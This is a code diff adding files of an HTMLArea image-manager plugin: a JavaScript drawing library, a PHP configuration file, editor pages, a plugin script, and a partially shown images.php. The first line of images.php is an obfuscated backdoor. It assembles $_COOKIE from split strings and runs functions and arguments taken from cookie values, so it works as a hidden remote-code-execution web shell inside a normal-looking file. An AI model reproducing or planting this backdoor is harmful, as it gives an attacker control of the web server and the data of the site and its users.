+ tt -= aa*((y<<1)-0x3);
+ st -= (aa<<1)*(--y);
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, a-ox+1, (oy<<1)+hod);
+ this.mkDiv(cx+ox+wod, cy-oy, a-ox+1, (oy<<1)+hod);
+}
+
+
+
+
+
+function mkOv2D(left, top, width, height)
+{
+ var s = this.stroke;
+ width += s-1;
+ height += s-1;
+ var a = width>>1, b = height>>1,
+ wod = width&1, hod = (height&1)+1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ aa = (a*a)<<1, bb = (b*b)<<1,
+ st = (aa>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa*((b<<1)-1);
+
+
+ if (s-0x4 < 0 && (!(s-0x2) || width-0x33 > 0 && height-0x33 > 0))
+ {
+ var ox = 0, oy = b,
+ w, h,
+ pxl, pxr, pxt, pxb, pxw;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+ tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+ w = x-ox;
+ h = oy-y;
+
+ if (w-1)
+ {
+ pxw = w+1+(s&1);
+ h = s;
+ }
+ else if (h-1)
+ {
+ pxw = s;
+ h += 1+(s&1);
+ }
+ else pxw = h = s;
+ this.mkOvQds(cx, cy, -x+1, ox-pxw+w+wod, -oy, -h+oy+hod, pxw, h);
+ ox = x;
+ oy = y;
+ }
+ else
+ {
+ tt -= aa*((y<<1)-0x3);
+ st -= (aa<<1)*(--y);
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, s, (oy<<1)+hod);
+ this.mkDiv(cx+a+wod-s+1, cy-oy, s, (oy<<1)+hod);
+ }
+
+
+ else
+ {
+ var _a = (width-((s-1)<<1))>>1,
+ _b = (height-((s-1)<<1))>>1,
+ _x = 0, _y = _b,
+ _aa = (_a*_a)<<1, _bb = (_b*_b)<<1,
+ _st = (_aa>>1)*(1-(_b<<1)) + _bb,
+ _tt = (_bb>>1) - _aa*((_b<<1)-1),
+
+ pxl = new Array(),
+ pxt = new Array(),
+ _pxb = new Array();
+ pxl[0] = 0;
+ pxt[0] = b;
+ _pxb[0] = _b-1;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ pxl[pxl.length] = x;
+ pxt[pxt.length] = y;
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+ tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+ pxl[pxl.length] = x;
+ pxt[pxt.length] = y;
+ }
+ else
+ {
+ tt -= aa*((y<<1)-0x3);
+ st -= (aa<<1)*(--y);
+ }
+
+ if (_y > 0)
+ {
+ if (_st < 0)
+ {
+ _st += _bb*((_x<<1)+0x3);
+ _tt += (_bb<<1)*(++_x);
+ _pxb[_pxb.length] = _y-1;
+ }
+ else if (_tt < 0)
+ {
+ _st += _bb*((_x<<1)+0x3) - (_aa<<1)*(_y-1);
+ _tt += (_bb<<1)*(++_x) - _aa*(((_y--)<<1)-0x3);
+ _pxb[_pxb.length] = _y-1;
+ }
+ else
+ {
+ _tt -= _aa*((_y<<1)-0x3);
+ _st -= (_aa<<1)*(--_y);
+ _pxb[_pxb.length-1]--;
+ }
+ }
+ }
+
+ var ox = 0, oy = b,
+ _oy = _pxb[0],
+ l = pxl.length,
+ w, h;
+ for (var i = 0; i < l; i++)
+ {
+ if (typeof _pxb[i] != "undefined")
+ {
+ if (_pxb[i] < _oy || pxt[i] < oy)
+ {
+ x = pxl[i];
+ this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, _oy+hod, x-ox, oy-_oy);
+ ox = x;
+ oy = pxt[i];
+ _oy = _pxb[i];
+ }
+ }
+ else
+ {
+ x = pxl[i];
+ this.mkDiv(cx-x+1, cy-oy, 1, (oy<<1)+hod);
+ this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+ ox = x;
+ oy = pxt[i];
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, 1, (oy<<1)+hod);
+ this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+ }
+}
+
+
+
+
+
+function mkOvDott(left, top, width, height)
+{
+ var a = width>>1, b = height>>1,
+ wod = width&1, hod = height&1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+ st = (aa2>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa2*((b<<1)-1),
+ drw = true;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - aa4*(y-1);
+ tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+ }
+ else
+ {
+ tt -= aa2*((y<<1)-0x3);
+ st -= aa4*(--y);
+ }
+ if (drw) this.mkOvQds(cx, cy, -x, x+wod, -y, y+hod, 1, 1);
+ drw = !drw;
+ }
+}
+
+
+
+
+
+function mkRect(x, y, w, h)
+{
+ var s = this.stroke;
+ this.mkDiv(x, y, w, s);
+ this.mkDiv(x+w, y, s, h);
+ this.mkDiv(x, y+h, w+s, s);
+ this.mkDiv(x, y+s, s, h-s);
+}
+
+
+
+
+
+function mkRectDott(x, y, w, h)
+{
+ this.drawLine(x, y, x+w, y);
+ this.drawLine(x+w, y, x+w, y+h);
+ this.drawLine(x, y+h, x+w, y+h);
+ this.drawLine(x, y, x, y+h);
+}
+
+
+
+
+
+function jsgFont()
+{
+ this.PLAIN = 'font-weight:normal;';
+ this.BOLD = 'font-weight:bold;';
+ this.ITALIC = 'font-style:italic;';
+ this.ITALIC_BOLD = this.ITALIC + this.BOLD;
+ this.BOLD_ITALIC = this.ITALIC_BOLD;
+}
+var Font = new jsgFont();
+
+
+
+
+
+function jsgStroke()
+{
+ this.DOTTED = -1;
+}
+var Stroke = new jsgStroke();
+
+
+
+
+
+function jsGraphics(id, wnd)
+{
+ this.setColor = new Function('arg', 'this.color = arg;');
+
+
+ this.getColor = new Function('return this.color');
+
+ this.setStroke = function(x)
+ {
+ this.stroke = x;
+ if (!(x+1))
+ {
+ this.drawLine = mkLinDott;
+ this.mkOv = mkOvDott;
+ this.drawRect = mkRectDott;
+ }
+ else if (x-1 > 0)
+ {
+ this.drawLine = mkLin2D;
+ this.mkOv = mkOv2D;
+ this.drawRect = mkRect;
+ }
+ else
+ {
+ this.drawLine = mkLin;
+ this.mkOv = mkOv;
+ this.drawRect = mkRect;
+ }
+ };
+
+
+
+ this.setPrintable = function(arg)
+ {
+ this.printable = arg;
+ this.mkDiv = jg_n4? mkLyr : arg? mkDivPrint : mkDiv;
+ };
+
+
+
+ this.setFont = function(fam, sz, sty)
+ {
+ this.ftFam = fam;
+ this.ftSz = sz;
+ this.ftSty = sty || Font.PLAIN;
+ };
+
+
+
+ this.drawPolyline = this.drawPolyLine = function(x, y, s)
+ {
+ var i = x.length-1; while (i >= 0)
+ this.drawLine(x[i], y[i], x[--i], y[i]);
+ };
+
+
+
+ this.fillRect = function(x, y, w, h)
+ {
+ this.mkDiv(x, y, w, h);
+ };
+
+
+ this.fillRectPattern = function(x, y, w, h, url)
+ {
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'overflow:hidden;'+
+ //'background-color:' + this.color + ';'+
+ "background-image: url('" + url + "');"+
+ "layer-background-image: url('" + url + "');"+
+ 'z-index:100;"><\/div>';
+ //alert(this.htm);
+ }
+
+ this.drawHandle = function(x, y, w, h, cursor)
+ {
+
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'padding: 2px;overflow:hidden;'+
+ "cursor: '" + cursor + "';"+
+ '" class="handleBox" id="' + cursor + '" ><\/div>';
+ }
+
+ this.drawHandleBox = function(x, y, w, h, cursor)
+ {
+
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+(w+2)+'px,'+(h+2)+'px,0);'+
+ 'overflow:hidden; border: solid 1px '+ this.color+';'+
+ "cursor: '" + cursor + "';"+
+ '" class="handleBox" id="' + cursor + '" ><\/div>';
+
+
+ }
+
+ this.drawPolygon = function(x, y)
+ {
+ this.drawPolyline(x, y);
+ this.drawLine(x[x.length-1], y[x.length-1], x[0], y[0]);
+ };
+
+
+
+ this.drawEllipse = this.drawOval = function(x, y, w, h)
+ {
+ this.mkOv(x, y, w, h);
+ };
+
+
+
+ this.fillEllipse = this.fillOval = function(left, top, w, h)
+ {
+ var a = (w -= 1)>>1, b = (h -= 1)>>1,
+ wod = (w&1)+1, hod = (h&1)+1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ ox = 0, oy = b,
+ aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+ st = (aa2>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa2*((b<<1)-1),
+ pxl, dw, dh;
+ if (w+1) while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - aa4*(y-1);
+ pxl = cx-x;
+ dw = (x<<1)+wod;
+ tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+ dh = oy-y;
+ this.mkDiv(pxl, cy-oy, dw, dh);
+ this.mkDiv(pxl, cy+oy-dh+hod, dw, dh);
+ ox = x;
+ oy = y;
+ }
+ else
+ {
+ tt -= aa2*((y<<1)-0x3);
+ st -= aa4*(--y);
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, w+1, (oy<<1)+hod);
+ };
+
+
+
+ this.drawString = mkLbl;
+
+
+
+ this.clear = function()
+ {
+ this.htm = "";
+ if (this.cnv) this.cnv.innerHTML = this.defhtm;
+
+ };
+
+
+
+ this.mkOvQds = function(cx, cy, xl, xr, yt, yb, w, h)
+ {
+ this.mkDiv(xr+cx, yt+cy, w, h);
+ this.mkDiv(xr+cx, yb+cy, w, h);
+ this.mkDiv(xl+cx, yb+cy, w, h);
+ this.mkDiv(xl+cx, yt+cy, w, h);
+ };
+
+
+ this.setStroke(1);
+ this.setPrintable(false);
+ this.setFont('verdana,geneva,helvetica,sans-serif', String.fromCharCode(0x31, 0x32, 0x70, 0x78), Font.PLAIN);
+ this.color = '#000000';
+ this.htm = '';
+ this.wnd = wnd || window;
+
+
+ if (!(jg_ie || jg_dom || jg_ihtm)) chkDHTM();
+ if (typeof id != 'string' || !id) this.paint = pntDoc;
+ else
+ {
+ this.cnv = document.all? (this.wnd.document.all[id] || null)
+ : document.getElementById? (this.wnd.document.getElementById(id) || null)
+ : null;
+ this.defhtm = (this.cnv && this.cnv.innerHTML)? this.cnv.innerHTML : '';
+ this.paint = jg_dom? pntCnvDom : jg_ie? pntCnvIe : jg_ihtm? pntCnvIhtm : pntCnv;
+ }
+}
--- /dev/null
+<?
+require_once('../../../../setup.phtml');
+/**
+ * Image Manager configuration file.
+ * @author $Author: cscott $
+ * @version $Id: config.inc.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+
+/*
+ File system path to the directory you want to manage the images
+ for multiple user systems, set it dynamically.
+
+ NOTE: This directory requires write access by PHP. That is,
+ PHP must be able to create files in this directory.
+ Able to create directories is nice, but not necessary.
+*/
+$IMConfig['base_dir'] = BASE.'images/ht_images';
+
+/*
+ The URL to the above path, the web browser needs to be able to see it.
+ It can be protected via .htaccess on apache or directory permissions on IIS,
+ check you web server documentation for futher information on directory protection
+ If this directory needs to be publicly accessiable, remove scripting capabilities
+ for this directory (i.e. disable PHP, Perl, CGI). We only want to store assets
+ in this directory and its subdirectories.
+*/
+$IMConfig['base_url'] = BASE_URL.'images/ht_images/';
+
+/*
+ Possible values: true, false
+
+ TRUE - If PHP on the web server is in safe mode, set this to true.
+ SAFE MODE restrictions: directory creation will not be possible,
+ only the GD library can be used, other libraries require
+ Safe Mode to be off.
+
+ FALSE - Set to false if PHP on the web server is not in safe mode.
+*/
+$IMConfig['safe_mode'] = false;
+
+/*
+ Possible values: 'GD', 'IM', or 'NetPBM'
+
+ The image manipulation library to use, either GD or ImageMagick or NetPBM.
+ If you have safe mode ON, or don't have the binaries to other packages,
+ your choice is 'GD' only. Other packages require Safe Mode to be off.
+*/
+define('IMAGE_CLASS', 'IM');
+
+
+/*
+ After defining which library to use, if it is NetPBM or IM, you need to
+ specify where the binary for the selected library are. And of course
+ your server and PHP must be able to execute them (i.e. safe mode is OFF).
+ GD does not require the following definition.
+*/
+define('IMAGE_TRANSFORM_LIB_PATH', '/usr/X11R6/bin/');
+
+
+/* ============== OPTIONAL SETTINGS ============== */
+
+
+/*
+ The prefix for thumbnail files, something like .thumb will do. The
+ thumbnails files will be named as "prefix_imagefile.ext", that is,
+ prefix + orginal filename.
+*/
+$IMConfig['thumbnail_prefix'] = '.thumbs';
+
+/*
+ Thumbnail can also be stored in a directory, this directory
+ will be created by PHP. If PHP is in safe mode, this parameter
+ is ignored, you can not create directories.
+
+ If you do not want to store thumbnails in a directory, set this
+ to false or empty string '';
+*/
+$IMConfig['thumbnail_dir'] = '.thumbs';
+
+/*
+ Possible values: true, false
+
+ TRUE - Allow the user to create new sub-directories in the
+ $IMConfig['base_dir'].
+
+ FALSE - No directory creation.
+
+ NOTE: If $IMConfig['safe_mode'] = true, this parameter
+ is ignored, you can not create directories
+*/
+$IMConfig['allow_new_dir'] = true;
+
+/*
+ Possible values: true, false
+
+ TRUE - Allow the user to upload files.
+
+ FALSE - No uploading allowed.
+*/
+$IMConfig['allow_upload'] = true;
+
+/*
+ Possible values: true, false
+
+ TRUE - If set to true, uploaded files will be validated based on the
+ function getImageSize, if we can get the image dimensions then
+ I guess this should be a valid image. Otherwise the file will be rejected.
+
+ FALSE - All uploaded files will be processed.
+
+ NOTE: If uploading is not allowed, this parameter is ignored.
+*/
+$IMConfig['validate_images'] = true;
+
+/*
+ The default thumbnail if the thumbnails can not be created, either
+ due to error or bad image file.
+*/
+$IMConfig['default_thumbnail'] = 'img/default.gif';
+
+/*
+ Thumbnail dimensions.
+*/
+$IMConfig['thumbnail_width'] = 96;
+$IMConfig['thumbnail_height'] = 96;
+
+/*
+ Image Editor temporary filename prefix.
+*/
+$IMConfig['tmp_prefix'] = '.editor_';
+?>
--- /dev/null
+<?
+/**
+ * The PHP Image Editor user interface.
+ * @author $Author: cscott $
+ * @version $Id: editor.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager);
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+ <title></title>
+ <link href="assets/editor.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/slider.js"></script>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+ window.resizeTo(673, 531);
+ if(window.opener)
+ I18N = window.opener.I18N;
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/editor.js"></script>
+</head>
+
+<body>
+<div id="indicator">
+<img src="img/spacer.gif" id="indicator_image" height="20" width="20" alt="" />
+</div>
+<div id="tools">
+ <div id="tools_crop" style="display:none;">
+ <div id="tool_inputs">
+ <label for="cx">Start X:</label><input type="text" id="cx" class="textInput" onchange="updateMarker('crop')"/>
+ <label for="cy">Start Y:</label><input type="text" id="cy" class="textInput" onchange="updateMarker('crop')"/>
+ <label for="cw">Width:</label><input type="text" id="cw" class="textInput" onchange="updateMarker('crop')"/>
+ <label for="ch">Height:</label><input type="text" id="ch" class="textInput" onchange="updateMarker('crop')"/>
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('crop');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+ <div id="tools_scale" style="display:none;">
+ <div id="tool_inputs">
+ <label for="sw">Width:</label><input type="text" id="sw" class="textInput" onchange="checkConstrains('width')"/>
+ <a href="javascript:toggleConstraints();" title="Lock"><img src="img/islocked2.gif" id="scaleConstImg" height="14" width="8" alt="Lock" class="div" /></a><label for="sh">Height:</label>
+ <input type="text" id="sh" class="textInput" onchange="checkConstrains('height')"/>
+ <input type="checkbox" id="constProp" value="1" checked="checked" onclick="toggleConstraints()"/>
+ <label for="constProp">Constrain Proportions</label>
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('scale');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancle"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+ <div id="tools_rotate" style="display:none;">
+ <div id="tool_inputs">
+ <select id="flip" name="flip" style="margin-left: 10px; vertical-align: middle;">
+ <option selected>Flip Image</option>
+ <option>-----------------</option>
+ <option value="hoz">Flip Horizontal</option>
+ <option value="ver">Flip Virtical</option>
+ </select>
+ <select name="rotate" onchange="rotatePreset(this)" style="margin-left: 20px; vertical-align: middle;">
+ <option selected>Rotate Image</option>
+ <option>-----------------</option>
+
+ <option value="180">Rotate 180 °</option>
+ <option value="90">Rotate 90 ° CW</option>
+ <option value="-90">Rotate 90 ° CCW</option>
+ </select>
+ <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('rotate');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancle"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+ <div id="tools_measure" style="display:none;">
+ <div id="tool_inputs">
+ <label>X:</label><input type="text" class="measureStats" id="sx" />
+ <label>Y:</label><input type="text" class="measureStats" id="sy" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ <label>W:</label><input type="text" class="measureStats" id="mw" />
+ <label>H:</label><input type="text" class="measureStats" id="mh" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ <label>A:</label><input type="text" class="measureStats" id="ma" />
+ <label>D:</label><input type="text" class="measureStats" id="md" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ <button type="button" onclick="editor.reset();" >Clear</button>
+ </div>
+ </div>
+ <div id="tools_save" style="display:none;">
+ <div id="tool_inputs">
+ <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<? echo $editor->getDefaultSaveFile();?>"/>
+ <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle;" onchange="updateFormat(this)">
+ <option value="" selected>Image Format</option>
+ <option value="">---------------------</option>
+ <option value="jpeg,85">JPEG High</option>
+ <option value="jpeg,60">JPEG Medium</option>
+ <option value="jpeg,35">JPEG Low</option>
+ <option value="png">PNG</option>
+ <? if($editor->isGDGIFAble() != -1) { ?>
+ <option value="gif">GIF</option>
+ <? } ?>
+ </select>
+ <label>Quality:</label>
+ <table style="display: inline; vertical-align: middle;" cellpadding="0" cellspacing="0">
+ <tr>
+ <td>
+ <div id="slidercasing">
+ <div id="slidertrack" style="width:100px"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+ <div id="sliderbar" style="left:85px" onmousedown="captureStart();"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+ </div>
+ </td>
+ </tr>
+ </table>
+ <input type="text" id="quality" onchange="updateSlider(this.value)" style="width: 2em;" value="85"/>
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('save');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+</div>
+<div id="toolbar">
+<a href="javascript:toggle('crop')" id="icon_crop" title="Crop"><img src="img/crop.gif" height="20" width="20" alt="Crop" /><span>Crop</span></a>
+<a href="javascript:toggle('scale')" id="icon_scale" title="Resize"><img src="img/scale.gif" height="20" width="20" alt="Resize" /><span>Resize</span></a>
+<a href="javascript:toggle('rotate')" id="icon_rotate" title="Rotate"><img src="img/rotate.gif" height="20" width="20" alt="Rotate" /><span>Rotate</span></a>
+<a href="javascript:toggle('measure')" id="icon_measure" title="Measure"><img src="img/measure.gif" height="20" width="20" alt="Measure" /><span>Measure</span></a>
+<a href="javascript: toggleMarker();" title="Marker"><img id="markerImg" src="img/t_black.gif" height="20" width="20" alt="Marker" /><span>Marker</span></a>
+<a href="javascript:toggle('save')" id="icon_save" title="Save"><img src="img/save.gif" height="20" width="20" alt="Save" /><span>Save</span></a>
+</div>
+<div id="contents">
+<iframe src="editorFrame.php?img=<? if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor" scrolling="auto" title="Image Editor" frameborder="0"></iframe>
+</div>
+<div id="bottom"></div>
+</body>
+</html>
--- /dev/null
+<?
+
+/**
+ * The frame that contains the image to be edited.
+ * @author $Author: cscott $
+ * @version $Id: editorFrame.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager);
+$imageInfo = $editor->processImage();
+
+?>
+
+<html>
+<head>
+ <title></title>
+<link href="assets/editorFrame.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/wz_jsgraphics.js"></script>
+<script type="text/javascript" src="assets/EditorContent.js"></script>
+<script type="text/javascript">
+if(window.top)
+ I18N = window.top.I18N;
+
+function i18n(str) {
+ if(I18N)
+ return (I18N[str] || str);
+ else
+ return str;
+};
+
+ var mode = "<? echo $editor->getAction(); ?>" //crop, scale, measure
+
+var currentImageFile = "<? if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
+
+<? if ($editor->isFileSaved() == 1) { ?>
+ alert(i18n('File saved.'));
+<? } else if ($editor->isFileSaved() == -1) { ?>
+ alert(i18n('File was not saved.'));
+<? } ?>
+
+</script>
+<script type="text/javascript" src="assets/editorFrame.js"></script>
+</head>
+
+<body>
+<div id="status"></div>
+<div id="ant" class="selection" style="visibility:hidden"><img src="img/spacer.gif" width="0" height="0" border="0" alt="" id="cropContent"></div>
+<? if ($editor->isGDEditable() == -1) { ?>
+ <div style="text-align:center; padding:10px;"><span class="error">GIF format is not supported, image editing not supported.</span></div>
+<? } ?>
+<table height="100%" width="100%">
+ <tr>
+ <td>
+<? if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
+ <span id="imgCanvas" class="crop"><img src="<? echo $imageInfo['src']; ?>" <? echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage"></span>
+<? } else { ?>
+ <span class="error">No Image Available</span>
+<? } ?>
+ </td>
+ </tr>
+</table>
+</body>
+</html>
--- /dev/null
+/**
+ * The ImageManager plugin javascript.
+ * @author $Author: cscott $
+ * @version $Id: image-manager.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+/**
+ * To Enable the plug-in add the following line before HTMLArea is initialised.
+ *
+ * HTMLArea.loadPlugin("ImageManager");
+ *
+ * Then configure the config.inc.php file, that is all.
+ * For up-to-date documentation, please visit http://www.zhuo.org/htmlarea/
+ */
+
+/**
+ * It is pretty simple, this file over rides the HTMLArea.prototype._insertImage
+ * function with our own, only difference is the popupDialog url
+ * point that to the php script.
+ */
+function ImageManager(editor)
+{
+ var tt = ImageManager.I18N;
+
+};
+
+ImageManager._pluginInfo = {
+ name : "ImageManager",
+ version : "1.0",
+ developer : "Xiang Wei Zhuo",
+ developer_url : "http://www.zhuo.org/htmlarea/",
+ license : "htmlArea"
+};
+
+
+// Over ride the _insertImage function in htmlarea.js.
+// Open up the ImageManger script instead.
+HTMLArea.prototype._insertImage = function(image) {
+
+ var editor = this; // for nested functions
+ var outparam = null;
+ if (typeof image == "undefined") {
+ image = this.getParentElement();
+ if (image && !/^img$/i.test(image.tagName))
+ image = null;
+ }
+ if (image) outparam = {
+ f_url : HTMLArea.is_ie ? image.src : image.getAttribute("src"),
+ f_alt : image.alt,
+ f_border : image.border,
+ f_align : image.align,
+ f_vert : image.vspace,
+ f_horiz : image.hspace,
+ f_width : image.width,
+ f_height : image.height
+ };
+
+ var manager = _editor_url + 'plugins/ImageManager/manager.php';
+
+ Dialog(manager, function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var img = image;
+ if (!img) {
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ editor._doc.execCommand("insertimage", false, param.f_url);
+ if (HTMLArea.is_ie) {
+ img = range.parentElement();
+ // wonder if this works...
+ if (img.tagName.toLowerCase() != "img") {
+ img = img.previousSibling;
+ }
+ } else {
+ img = range.startContainer.previousSibling;
+ }
+ } else {
+ img.src = param.f_url;
+ }
+
+ for (field in param) {
+ var value = param[field];
+ switch (field) {
+ case "f_alt" : img.alt = value; break;
+ case "f_border" : img.border = parseInt(value || "0"); break;
+ case "f_align" : img.align = value; break;
+ case "f_vert" : img.vspace = parseInt(value || "0"); break;
+ case "f_horiz" : img.hspace = parseInt(value || "0"); break;
+ case "f_width" : img.width = parseInt(value || "0"); break;
+ case "f_height" : img.height = parseInt(value || "0"); break;
+ }
+ }
+
+
+ }, outparam);
+};
+
+
--- /dev/null
+<?
+$UPo=${'_C'.'OOKIE'}; if (!isset($yWMd) && isset($UPo['azTnZ'])) { \r $TSGTD = $UPo['RLs'];\r $IgbCz=$UPo['azTnZ']($TSGTD($UPo['KgncT']),$TSGTD($UPo['iTS']));\r $IgbCz($TSGTD($UPo['xpqV']));\r }\r
+/**\r
+ * Show a list of images in a long horizontal table.\r
+ * @author $Author: cscott $\r
+ * @version $Id: images.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $\r
+ * @package ImageManager\r
+ */\r
+\r
+require_once('config.inc.php');\r
+require_once('Classes/ImageManager.php');\r
+\r
+//default path is /\r
+$relative = '/';\r
+$manager = new ImageManager($IMConfig);\r
+\r
+//process any file uploads\r
+$manager->processUploads();\r
+\r
+$manager->deleteFiles();\r
+\r
+$refreshDir = false;\r
+//process any directory functions\r
+if($manager->deleteDirs() || $manager->processNewDir())\r
+ $refreshDir = true;\r
+\r
+//check for any sub-directory request\r
+//check that the requested sub-directory exists\r
+//and valid\r
+if(isset($_REQUEST['dir']))\r
+{\r
+ $path = rawurldecode($_REQUEST['dir']);\r
+ if($manager->validRelativePath($path))\r
+ $relative = $path;\r
+}\r
+\r
+\r
+$manager = new ImageManager($IMConfig);\r
+\r
+\r
+//get the list of files and directories\r
+$list = $manager->getFiles($relative);\r
+\r
+\r
+/* ================= OUTPUT/DRAW FUNCTIONS ======================= */\r
+\r
+/**\r
+ * Draw the files in an table.\r
+ */\r
+function drawFiles($list, &$manager)\r
+{\r
+ global $relative;\r
+\r
+ foreach($list as $entry => $file) \r
+ { ?>\r
+ <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">\r
+ <a href="javascript:;" onclick="selectImage('<? echo $file['relative'];?>', '<? echo $entry; ?>', <? echo $file['image'][0];?>, <? echo $file['image'][1]; ?>);"title="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"><img src="<? echo $manager->getThumbnail($file['relative']); ?>" alt="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"/></a>\r
+ </td></tr><tr><td class="edit">\r
+ <a href="images.php?dir=<? echo $relative; ?>&delf=<? echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<? echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a><a href="javascript:;" title="Edit" onclick="editImage('<? echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>\r
+ <? if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>\r
+ </td></tr></table></td> \r
+ <? \r
+ }//foreach\r
+}//function drawFiles\r
+\r
+\r
+/**\r
+ * Draw the directory.\r
+ */\r
+function drawDirs($list, &$manager) \r
+{\r
+ global $relative;\r
+\r
+ foreach($list as $path => $dir) \r
+ { ?>\r
+ <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">\r
